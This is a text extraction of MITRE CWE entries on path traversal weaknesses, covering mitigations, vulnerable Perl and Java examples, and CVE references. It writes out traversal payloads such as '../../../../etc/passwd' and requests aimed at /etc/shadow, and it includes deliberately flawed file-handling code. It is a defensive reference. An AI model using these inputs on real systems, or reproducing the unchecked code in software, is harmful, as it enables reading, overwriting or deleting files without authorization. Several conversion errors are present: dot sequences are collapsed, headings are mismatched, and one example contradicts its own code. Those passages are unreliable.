Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

#### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

#### Phase: Operation

#### Phase: Implementation

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Demonstrative Examples

#### Example 1:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl

(bad)

```
my $dataPath = "/users/cwe/profiles";my $username = param("user");my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");print "<ul>\n";while (<$fh>) {print "<li>$_</li>
\n";}print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language:

(result)

```
/users/cwe/profiles../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../../" during path canonicalization and actually accesses this file:

Example Language:

(result)

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

### Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

### Example 3:

The following code takes untrusted input and uses a regular expression to filter "../../../../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();$Username =~ s/\.\.//g;my $filename = "/home/user/" .
$Username;ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../../../../" it comes across. So an input value such as:

*Example Language:**(attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:**(result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:**(result)*

```
/home/user/../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

**Example 4:**

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe\_dir/".

*Example Language: Java**(bad)*

```
String path = getInputPath();if (path.startsWith("/safe_dir/")){File f = new File(path);f.delete()}
```

An attacker could provide an input such as this:

*Example Language:**(attack)*

```
/safe_dir/../important.dat
```

The software assumes that the path is valid because it starts with the "/safe\_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

**Example 5:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

*Example Language: HTML**(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data"> Choose a file to upload: <input type="file" name="filename"/><br/><input type="submit" name="submit" value="Submit"/> </form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

*Example Language: Java**(bad)*

```
public class FileUploadServlet extends HttpServlet { ... protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {response.setContentType("text/html");PrintWriter
out = response.getWriter();String contentType = request.getContentType(); // the starting position of the boundary header int
ind = contentType.indexOf("boundary=");String boundary = contentType.substring(ind+9); String pLine = new String();String
uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart
form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the
Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine =
br.readLine();String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\\"));... // output the file to the
```

```
local upload directory try {BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for
(String line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();} //end of
for loopbw.close();} catch (IOException ex) {...} // output successful upload response HTML page } // output unsuccessful
upload response HTML page else{...} ... }
```

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

### Observed Examples

Reference	Description
<b>CVE-2010-0467</b>	Newsletter module allows reading arbitrary files using "../" sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0467">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0467</a>
<b>CVE-2009-4194</b>	FTP server allows deletion of arbitrary files using "." in the DELE command. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4194">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4194</a>
<b>CVE-2009-4053</b>	FTP server allows creation of arbitrary directories using "." in the MKD command. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4053">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4053</a>
<b>CVE-2009-0244</b>	OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using "." sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0244">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0244</a>
<b>CVE-2009-4013</b>	Software package maintenance program allows overwriting arbitrary files using "../" sequences. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4013">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4013</a>
<b>CVE-2009-4449</b>	Bulletin board allows attackers to determine the existence of files using the avatar. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4449">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4449</a>
<b>CVE-2009-4581</b>	PHP program allows arbitrary code execution using "." in filenames that are fed to the include() function. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4581">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4581</a>
<b>CVE-2010-0012</b>	Overwrite of files using a .. in a Torrent file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0012">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0012</a>
<b>CVE-2010-0013</b>	Chat program allows overwriting files using a custom smiley request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013</a>
<b>CVE-2008-5748</b>	Chain: external control of values for user's desired language and theme enables path traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5748">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5748</a>
<b>CVE-2009-1936</b>	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936</a>

### Functional Areas

- File Processing

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		21	Pathname Traversal and Equivalence Errors	1003	1534
MemberOf		635	Weaknesses Originally Used by NVD from 2008 to 2016	635	1666
MemberOf		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	1559
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1563
MemberOf		743	CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO)	734	1575

MemberOf		1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1663

## Notes

### Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

### Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

### Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the \*effect\* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

### Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

### Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference

## CWE-23: Relative Path Traversal

<b>Weakness ID</b> : 23	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

#### Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

#### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	29

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	<i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Availability		
Integrity	Modify Files or Directories	
	<i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then</i>	

Scope	Impact	Likelihood
	<i>the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "..\" sequences are removed from the ".../.../\" string in a sequential fashion, two instances of "..\" would be removed from the original string, but the remaining characters would still form the "..\" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by

introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes `".."` sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

## Demonstrative Examples

### Example 1:

The following URLs are vulnerable to this attack:

*Example Language:*

*(bad)*

```
http://example.com.br/get-files.jsp?file=report.pdfhttp://example.com.br/get-page.php?home=aaa.htmlhttp://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

*Example Language:*

*(attack)*

```
http://example.com.br/get-files?file=../../../../somedir/somefilehttp://example.com.br/../../../../etc/shadowhttp://example.com.br/get-files?file=../../../../etc/passwd
```

### Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

*Example Language: Perl*

*(bad)*

```
my $dataPath = "/users/cwe/profiles";my $username = param("user");my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");print "<ul>\n";while (<$fh>) {print "<li>$_\n";}print "</ul>\n";
```

While the programmer intends to access files such as `/users/cwe/profiles/alice` or `/users/cwe/profiles/bob`, there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Example Language:*

*(attack)*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Example Language:*

*(result)*

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the `"../"` during path canonicalization and actually accesses this file:

*Example Language:*

*(result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

**Example 3:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

*Example Language: HTML*

*(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data"> Choose a file to upload:<input type="file" name="filename"/><br/><input type="submit" name="submit" value="Submit"/> </form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

*Example Language: Java*

*(bad)*

```
public class FileUploadServlet extends HttpServlet { ... protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");PrintWriter
out = response.getWriter();String contentType = request.getContentType(); // the starting position of the boundary headerint
ind = contentType.indexOf("boundary=");String boundary = contentType.substring(ind+9); String pLine = new String();String
uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart
form dataif (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the
Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine =
br.readLine();String filename = pLine.substring(pLine.lastIndexOf("\n"), pLine.lastIndexOf("\n"));... // output the file to the local
upload directorytry { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String
line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();}} //end of for
loopbw.close(); } catch (IOException ex) {...} // output successful upload response HTML page } // output unsuccessful upload
response HTML pageelse{...} }... }
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

**Observed Examples**

Reference	Description
<b>CVE-2002-0298</b>	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "../" sequences, or several ".." in a URI. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0298">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0298</a>
<b>CVE-2002-0661</b>	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661</a>

## CWE-24: Path Traversal: './filedir'

<b>Weakness ID</b> : 24	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	B	23	Relative Path Traversal	39

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	39

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1636

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'directory/../../filename
Software Fault Patterns	SFP16		Path Traversal

**CWE-27: Path Traversal: 'dir/../../filename'**

<b>Weakness ID</b> : 27	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

**Description**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

**Extended Description**

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the "...///" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-1987</b>	Protection mechanism checks for "/" but doesn't account for Windows-specific "\" allowing read of arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			7 - '\directory\..\filename
Software Fault Patterns	SFP16		Path Traversal

## CWE-31: Path Traversal: 'dir\..\filename'

<b>Weakness ID</b> : 31	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

### Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The 'dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-32: Path Traversal: '..' (Triple Dot)

<b>Weakness ID</b> : 32	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..' (triple dot) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The '..' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1636

## Notes

### Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: it is equivalent to "..\" on Windows, or it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "." in a string (collapse of data into unsafe value, CWE-182).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..' (triple dot)
Software Fault Patterns	SFP16		Path Traversal

## CWE-33: Path Traversal: '....' (Multiple Dot)

<b>Weakness ID</b> : 33	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

## Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory. The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "." sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

## Relationships

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## MemberOf Relationships

